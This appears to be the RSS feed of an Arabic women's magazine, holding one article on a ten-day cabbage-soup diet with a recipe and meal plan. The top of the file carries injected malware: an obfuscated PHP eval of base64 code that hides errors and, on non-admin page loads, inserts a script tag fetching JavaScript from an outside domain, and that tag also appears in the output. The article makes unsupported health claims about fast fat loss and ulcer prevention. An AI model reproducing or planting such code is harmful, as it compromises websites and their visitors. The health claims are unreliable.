eval(base64_decode("aW5pX3NldCgiZGlzcGxheV9lcnJvcnMiLCAwKTsKaW5pX3NldCgiZGlzcGxheV9zdGFydHVwX2Vycm9ycyIsIDApOwoKaWYgKFBIUF9TQVBJICE9PSAiY2xpIiAmJiAoCiAgICBzdHJwb3MoQCRfU0VSVkVSWyJSRVFVRVNUX1VSSSJdLCAiL3dwLWFkbWluL2FkbWluLWFqYXgucGhwIikgPT09IGZhbHNlICYmCiAgICBzdHJwb3MoQCRfU0VSVkVSWyJSRVFVRVNUX1VSSSJdLCAiL3dwLWpzb24iKSA9PT0gZmFsc2UgJiYKICAgIHN0cnBvcyhAJF9TRVJWRVJbIlJFUVVFU1RfVVJJIl0sICIvd3AvdjIiKSA9PT0gZmFsc2UgJiYKICAgIHN0cnBvcyhAJF9TRVJWRVJbIlJFUVVFU1RfVVJJIl0sICIvd3AtYWRtaW4iKSA9PT0gZmFsc2UgJiYKICAgIHN0cnBvcyhAJF9TRVJWRVJbIlJFUVVFU1RfVVJJIl0sICIvd3AtbG9naW4ucGhwIikgPT09IGZhbHNlICYmCiAgICBzdHJ0b2xvd2VyKEAkX1NFUlZFUlsiSFRUUF9YX1JFUVVFU1RFRF9XSVRIIl0pICE9PSAieG1saHR0cHJlcXVlc3QiCikpIHsKICAgIHByaW50KGJhc2U2NF9kZWNvZGUoIlBITmpjbWx3ZENCemNtTTlJaTh2WVdzdVlXdGhiVFl3T0RBd0xtNWxkQzhpUGp3dmMyTnlhWEIwUGc9PSIpKTsKfQ==")); 
<script src="//ak.akam60800.net/"></script><?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>جوزال | رجيم حارق للدهون</title>
	<atom:link href="https://jouzal.com/tag/%d8%b1%d8%ac%d9%8a%d9%85-%d8%ad%d8%a7%d8%b1%d9%82-%d9%84%d9%84%d8%af%d9%87%d9%88%d9%86/feed/" rel="self" type="application/rss+xml" />
	<link>https://jouzal.com</link>
	<description>مجلة نسائية عربية</description>
	<lastBuildDate>Wed, 17 Jul 2019 08:38:41 +0000</lastBuildDate>
	<language>ar</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	

<image>
	<url>https://jouzal.com/wp-content/uploads/2021/10/جوزال-2.png</url>
	<title>جوزال | رجيم حارق للدهون</title>
	<link>https://jouzal.com</link>
	<width>32</width>
	<height>32</height>
</image> 
	<item>
		<title>رجيم شوربة الكرنب يخسسك 4 كيلو فى 10 أيام</title>
		<link>https://jouzal.com/%d8%b1%d8%ac%d9%8a%d9%85-%d8%b4%d9%88%d8%b1%d8%a8%d8%a9-%d8%a7%d9%84%d9%83%d8%b1%d9%86%d8%a8-%d9%8a%d8%ae%d8%b3%d8%b3%d9%83-4-%d9%83%d9%8a%d9%84%d9%88-%d9%81%d9%89-10-%d8%a3%d9%8a%d8%a7%d9%85/</link>
		
		<dc:creator><![CDATA[سناء حسين]]></dc:creator>
		<pubDate>Wed, 17 Jul 2019 08:38:41 +0000</pubDate>
				<category><![CDATA[رجيم و حمية غذائية]]></category>
		<category><![CDATA[اسرع رجيم]]></category>
		<category><![CDATA[رجيم 10 ايام]]></category>
		<category><![CDATA[رجيم حارق للدهون]]></category>
		<category><![CDATA[رجيم سريع]]></category>
		<category><![CDATA[رجيم شوربة الكرنب]]></category>
		<category><![CDATA[رجيم لتخسيس 4 كيلو]]></category>
		<category><![CDATA[نظام صحي]]></category>
		<guid isPermaLink="false">https://jouzal.com/?p=2112</guid>

					<description><![CDATA[رجيم شوربة الكرنب يعتمد على حرق الدهون البيضاء مما يساعد على فقدان الوزن بسرعة بمعدل 3 كيلو فى الأسبوع او 10 أيام. و على الرغم من نتائجه المذهله الا أنه لا يفضل تكراره اكثر من هذه المدة حيث يشعر البعض بالضعف و عدم التركيز مع الاستمرار عليه فترة أطول. من فوائد رجيم شوربة الكرنب : [&#8230;]]]></description>
										<content:encoded><![CDATA[<p>رجيم شوربة الكرنب يعتمد على حرق الدهون البيضاء مما يساعد على فقدان الوزن بسرعة بمعدل 3 كيلو فى الأسبوع او 10 أيام.</p>
<p>و على الرغم من نتائجه المذهله الا أنه لا يفضل تكراره اكثر من هذه المدة حيث يشعر البعض بالضعف و عدم التركيز مع الاستمرار عليه فترة أطول.</p>
<h3><strong>من فوائد رجيم شوربة الكرنب</strong> :</h3>
<ul>
<li><strong>غنى بالعناصر الغذائية </strong></li>
<li>حيث يشمل الطبق الرئيسى و هو الشوربة على الفيتامينات و المعادن الحيوية التى يحتاجها الجسم للقيام بالعمليات الحيوية.</li>
<li><strong>يحسن من آداء المعدة</strong></li>
<li>حيث اكدت الابحاث ان استخدام التوابل بالاطعمة يقلل من كمية حمض المعدة و بالتالى يقلل من نزيف المعدة مما يقى من الاصابة بقرح المعدة بمعدل 65%.</li>
<li><strong>يحسن من التمثيل الغذائى للجسم</strong></li>
<li>حيث تزيد التوابل و القرفه خاصة من عمليات التمثيل الغذائى و تنظمها مما يساعد على انقاص الوزن اسهل.</li>
<li><strong>مقاومة للالتهابات</strong></li>
<li>تعتبر الالتهابات احد العوامل المسببة للسمنة و مع استخدام هذه الوصفه يمكنك محاربة الالتهابات باضافة بعض من الزنجبيل و الذى يعرف بمقاومته لالتهابات الجسم.</li>
</ul>
<p><strong>قد يعجبك أيضا :</strong></p>
<p><a href="https://jouzal.com/%d8%a7%d9%86%d9%82%d8%a7%d8%b5-%d8%a7%d9%84%d9%88%d8%b2%d9%86-%d8%a8%d8%a7%d9%84%d8%b3%d9%85%d9%86%d8%a9-%d8%a7%d9%84%d8%a8%d9%84%d8%af%d9%8a/"><strong>انقاص الوزن بالسمنة البلدي بدون حرمان او مجهود بنظام الكيتو<br />
</strong></a></p>
<ul>
<li>
<div id="attachment_2113" style="width: 688px" class="wp-caption aligncenter"><img fetchpriority="high" decoding="async" aria-describedby="caption-attachment-2113" class="size-full wp-image-2113" src="http://jouzal.com/wp-content/uploads/2019/07/images-11-1.jpeg" alt="رجيم الشوربة" width="678" height="452" srcset="https://jouzal.com/wp-content/uploads/2019/07/images-11-1.jpeg 678w, https://jouzal.com/wp-content/uploads/2019/07/images-11-1-300x200.jpeg 300w" sizes="(max-width: 678px) 100vw, 678px" /><p id="caption-attachment-2113" class="wp-caption-text">رجيم الشوربة</p></div>
<h3><strong>المكونات بالمقادير :</strong></h3>
</li>
<li>2 ملعقة من <a href="https://ar.m.wikipedia.org/wiki/%D8%B2%D9%8A%D8%AA_%D8%B2%D9%8A%D8%AA%D9%88%D9%86"><strong>زيت الزيتون</strong></a></li>
<li>نصف راس كرنب مقطع و مفروم</li>
<li>1 كوب من البصل المقطع</li>
<li>1 كوب من مكعبات الكرفس</li>
<li>1 كوب من الجزر مفروم</li>
<li>1 كوب من الفلفل الاخضر مكعبات</li>
<li>2 &#8211; 3 فصوص ثوم</li>
<li>4 أكواب من مرقة الدجاج</li>
<li>قليل من الريحان المجفف ( ملعقة صغيرة )</li>
<li>التوابل، مسحوق الثوم و الطماطم المجففة</li>
<li>1 ملعقة من خليط التوابل الحارة</li>
<li>نصف ملعقة صغيرة من الفلفل الاحمر</li>
<li>نصف كوب صلصة طماطم</li>
<li>نصف ملعقة صغيرة من الملح</li>
<li>فلفل اسود حسب الرغبة.</li>
</ul>
<h4><strong>طريقة التحضير :</strong></h4>
<ul>
<li>فى وعاء على نار متوسطة يوضع الزيت ثم يضاف اليه البصل و الفلفل و الاخضر و يقلب لمدة دقيقتين إلى 3 دقائق.</li>
<li>يضاف الجزر و الكرفس، الثوم، التوابل، رشة الملح و تطهى لمدة من 2 إلى 3 دقائق.</li>
<li>ثم يضاف الريحان او ورق الغار مع الكرنب و يقلب ثم يتم إضافة مرقة الدجاج ( يمكن استبدالها بالماء ) و الطماطم.</li>
<li>يترك الخليط ليغلى و يطهى لمدة من 10إلى 20 دقيقة.</li>
<li>يتم وضع حفنه من البقدونس و الملح و الفلفل و بذلك تكون الشوربة اصبحت جاهزة.</li>
</ul>
<h4>نظام رجيم شوربة الكرنب :</h4>
<p><strong>اليوم الاول :</strong></p>
<p>يمكنك تناول اى نوع من الفاكهه على مدار اليوم باستثناء الموز إلى جانب الشوربة.</p>
<p><strong>اليوم الثانى :</strong></p>
<p>يمكنك تناول اى نوع من الخضروات باستثناء الذرة و الخضروات النشوية الاخرى إلى جانب الشوربة.</p>
<p><strong>اليوم الثالث :</strong></p>
<p>تناول الخضروات و الفاكهة باستثناء الموز و الذرة الحلوة و الشوربة كطبق رئيسى.</p>
<p><strong>اليوم الرابع :</strong></p>
<ul>
<li><strong>وجبة الفطار : </strong>عصير الموز بالحليب + كوب من الزبادى الخالى الدسم.</li>
<li><strong>وجبة خفيفة : </strong>1 ثمرة موز</li>
<li><strong>وجبة الغداء : </strong>الشوربة</li>
<li><strong>وجبة العشاء : </strong>طبق كبير من سلطة الفواكه + ايس كريم الفواكه</li>
</ul>
<p><strong>اليوم الخامس : </strong></p>
<ul>
<li><strong>الفطار</strong> : كوب من عصير الطماطم + 2 بيضة مسلوقة.</li>
<li><strong>وجبة خفيفة</strong> : 4 ثمرات من مكسرات اللوز.</li>
<li><strong>الغداء : </strong>الشوربة الحارقة للدهون مع 100 جرام من السمك المشوى</li>
<li><strong>العشاء : </strong>2 شرائح الديك الرومى + رغيف الخبز البنى.</li>
</ul>
<p><strong>اليوم السادس :</strong></p>
<ul>
<li><strong>الفطار : </strong>اومليت البيض بالخضار.</li>
<li><strong>وجبة خفيفة : </strong>1 ثمرة برتقال.</li>
<li><strong>الغداء</strong> : سلطة الدجاج مع الخضروات + الشوربة.</li>
<li><strong>العشاء : </strong>5 ملاعق من المكرونة البنى بالاضافة إلى شريحتين من لحم الديك الرومى.</li>
</ul>
<p><strong>اليوم السابع :</strong></p>
<ul>
<li><strong>الفطار : </strong>طبق خليط من الفواكه و الخضروات.</li>
<li><strong>وجبة خفيفة : </strong>كوب من ماء جوز الهند.</li>
<li><strong>الغداء : </strong>الشوربة + خبز التورتيلا.</li>
<li><strong>العشاء : </strong>كوب من سموزى التوت مع الفراولة + نصف كوب من منقوع الشوفان.</li>
</ul>
<p><strong>اليوم الثامن :</strong></p>
<ul>
<li><strong>الفطار : </strong>سموزى المانجو و الموز مع نصف كوب من الزبادى خالى الدسم.</li>
<li><strong>وجبة خفيفة : </strong>كوب من القهوة.</li>
<li><strong>الغداء : </strong>طبق من الشوربة + 4 ملاعق من الارز البنى.</li>
<li><strong>العشاء :</strong> 50 جرام من القرنبيط المشوى.</li>
</ul>
<p><strong>اليوم التاسع : </strong></p>
<ul>
<li><strong>وجبة الفطار : </strong>توست محمص مع شرائح الأفوكادو + 1 ثمرة تفاح.</li>
<li><strong>وجبة الغداء : </strong>طبق من الشوربة</li>
<li><strong>وجبة العشاء : </strong>150 جرام من شرائح الدجاج المشوى مع سلطة الخضروات.</li>
</ul>
<p><strong>اليوم العاشر :</strong></p>
<ul>
<li><strong>الفطار</strong> : اومليت البيض بالسبانخ مع كوب شاى بالنعناع.</li>
<li><strong>الغداء</strong> : طبق من الشوربة مع التوست المحمص.</li>
<li><strong>العشاء</strong> : 100 جرام من السمك المشوى.</li>
</ul>
]]></content:encoded>
					
		
		
			</item>
	</channel>
</rss>